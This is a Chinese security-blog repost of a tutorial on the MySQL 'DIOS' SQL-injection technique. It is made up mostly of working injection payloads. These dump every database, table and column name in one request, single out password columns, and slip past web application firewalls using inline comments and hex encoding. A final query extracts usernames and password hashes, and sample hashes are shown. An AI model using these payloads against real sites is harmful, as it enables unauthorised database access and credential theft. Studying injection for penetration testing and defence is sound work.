SQL注入中的DIOS——仅靠一条语句即可拿出库名、表名、列名

admin 2024年5月30日22:47:30评论5 views字数 5865阅读19分33秒阅读模式

前言

DIOS(Dump in One Shot)
通过这种技术,我们可以仅通过一条SQL语句,一次请求注入获取数据库中所有库名、表名、列名,以及其他信息。

环境

  • MySQL5.7

查询所有数据库名

查询所有数据库名

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'<br>'))))a)

MySQL中执行语句

SQL注入中的DIOS——仅靠一条语句即可拿出库名、表名、列名

下载到本地,保存为html文件

SQL注入中的DIOS——仅靠一条语句即可拿出库名、表名、列名

打印了所有数据库的名字

解释 打印所有数据库名字
我们从information schema.schemata中选择一个变量@a,然后在'in'子句中连接所有模式名。因此,实际发生的是,所有的模式名称都将 "IN" 的条件中,并且将被选择,因为它们都存在于表模式information_schema.schemata 中。在循环中,@a与自身相连,每次“@a,schema_name,”<br>“都将添加到@a中。现在让我们看看其余部分。

CONCAT():将参数连接返回连接后字符串,当任意参数为NULL时,则返回NULL。
GROUP_CONCAT():将字段值拼接为一行返回,默认长度限制为1024。

(select (@a) from (information_schema.schemata)where (@a)in (@a:=concat(@a,schema_name,'<br>')))

原理:

这篇文章写得非常详细,我写得比不上这个 https://mp.weixin.qq.com/s/OoDz4NWU_CPqZZqeNOrydQ

打印所有的数据表

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where (@a)in (@a:=concat(@a,table_name,'<br>'))))a)

打印输出所有的数据库名和数据表

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.tables)where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,0x3a,table_name,'<br>'))))a)


SQL注入中的DIOS——仅靠一条语句即可拿出库名、表名、列名

输入所有的数据库名字,数据表,列

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)

查找当前数据库,数据表,字段里,所有带有pass字段的内容

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and COLUMN_NAME like '%pass%' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)


SQL注入中的DIOS——仅靠一条语句即可拿出库名、表名、列名

在打攻防演练时,可以快速定位数据库中的敏感字段

DIOS 绕过waf

内联注释的形式为/*! code */。内联注释可以用于整个SQL语句中,用来执行SQL语句

/*!50000UnIoN*/ /*!50000SeLeCt*/ 1,/*!00000concat*/(0x3c666f6e7420666163653d224963656c616e6422207374796c653d22636f6c6f723a7265643b746578742d736861646f773a307078203170782035707820233030303b666f6e742d73697a653a33307078223e496e6a6563746564206279204468346e692056757070616c61203c2f666f6e743e3c62723e3c666f6e7420636f6c6f723d70696e6b2073697a653d353e44622056657273696f6e203a20,version(),0x3c62723e44622055736572203a20,user(),0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x)),3,4,5 --


SQL注入中的DIOS——仅靠一条语句即可拿出库名、表名、列名

SQL注入中的DIOS——仅靠一条语句即可拿出库名、表名、列名

下面两个不知道哪里出现了问题,没有成功,仅供参考

(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345%73elect*/(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345`%69nformation_%73chema`.`%63olumns`*/)%77here (`%74able_schema`!=/*!12345'%69nformation_schema'*/)and(0x00)in(@a:=%63oncat%0a(@a,0x3c62723e,if( (@tbl!=/*!12345`table_name`*/), %43oncat%0a(0x3c62723e,@num:=(@num%2b1),0x2920,@tbl_sc:=`table_schema`,0x203a3a20,@tbl:=`%74able_name`,0x2028526f777320,(/*!12345%73elect*/`table_rows`from/*!12345`%69nformation_schema`.`tables`*/where table_schema=@tbl_sc and/*!12345`%74able_name`*/=@tbl),0x293c62723e,/*!12345`%63olumn_name`*/), (/*!12345`%63olumn_name`*/))))))a)

在上面的查询中,我们只是添加了一些基本的 WAF 绕过,然后将所有字符串编码为十六进制。WAF 绕过将在后面的 WAF 绕过系列中解释。现在最后一部分使用 concat 在我们的查询中添加一些其他 HTML、我们的名称、数据库名称、版本等。

COncaT%0a(0x3c62723e3c62723e3c2f63656e7465723e3c2f6469763e3c2f6469763e3c2f7461626c653e496e6a3363743364206279205a656e3c62723e3c666f6e7420636f6c6f723d677265656e3e56657273696f6e203a3c2f666f6e743e20,version(),0x3c62723e3c666f6e7420636f6c6f723d677265656e3e4461746162617365203c2f666f6e743e3a20,database(),0x3c62723e3c666f6e7420636f6c6f723d677265656e3e55736572203c2f666f6e743e3a,user(),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345%73elect*/(@a:=0x00),(@tbl:=0x00),(@tbl_sc:=0x00),(@num:=0),(/*!12345%73elect*/(@a)/*!12345%66rom*/(/*!12345`%69nformation_%73chema`.`%63olumns`*/)%77here (`%74able_schema`!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@a:=%63oncat%0a(@a,0x3c62723e,if( (@tbl!=/*!12345`table_name`*/), %43oncat%0a(0x3c2f666f6e743e3c666f6e7420636f6c6f723d477265656e3e3c62723e,@num:=(@num%2b1),0x29203c666f6e7420636f6c6f723d2723463746453245273e204461746162617365203a20,@tbl_sc:=`table_schema`,0x205b205461626c65204e616d65203a20,@tbl:=`%74able_name`,0x5d2028526f777320,(/*!12345%73elect*/`table_rows`from/*!12345`%69nformation_schema`.`tables`*/where table_schema=@tbl_sc and/*!12345`%74able_name`*/=@tbl),0x293c666f6e7420636f6c6f723d7265643e3c62723e,/*!12345`%63olumn_name`*/),concat%0a(/*!12345`%63olumn_name`*/))))))a))

这是我们的最终查询。这是我们能得到的最大值,但有些人仍然习惯对列进行编号。

DIOS 实战使用

在可回显的SQL注入点,如报错注入或联合注入中,加入

(select (@a) from (select(@a:=0x00),(select (@a) from (information_schema.columns)where table_schema!='information_schema' and(@a)in (@a:=concat(@a,table_schema,' > ',table_name,' > ',column_name,'<br>'))))a)

输入所有的数据库名字,数据表,列 ,在其中寻找用户名密码的列

SQL注入中的DIOS——仅靠一条语句即可拿出库名、表名、列名


然后通过查询语句拿出来

SELECT GROUP_CONCAT(user_name,0x3a,password SEPARATOR 0x3c62723e) FROM cms.cms_credential


SQL注入中的DIOS——仅靠一条语句即可拿出库名、表名、列名


admin:a193813b04af48828f08d8853d15cb029642651c<br>test:fc9ce4a03e524aee4b1f408056ea9b3c97456522<br>test':79242eeee6e16fe1d991da31777c07772432571a

参考链接

https://www.securityidiots.com/Web-Pentest/SQL-Injection/Dump-in-One-Shot-part-1.html
https://www.securityidiots.com/Web-Pentest/SQL-Injection/Dump-in-One-Shot-part-2.html

https://mp.weixin.qq.com/s/kQFh9Lc6r271SC6Z1qZQgw
https://mp.weixin.qq.com/s/dfbap8u7dZo_FjK5ckSvXg
MySQL UNION Injection的DIOS技术
https://mp.weixin.qq.com/s/OoDz4NWU_CPqZZqeNOrydQ


原文始发于微信公众号(进击的HACK):SQL注入中的DIOS——仅靠一条语句即可拿出库名、表名、列名

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月30日22:47:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SQL注入中的DIOS——仅靠一条语句即可拿出库名、表名、列名https://cn-sec.com/archives/2798057.html

发表评论

匿名网友 填写信息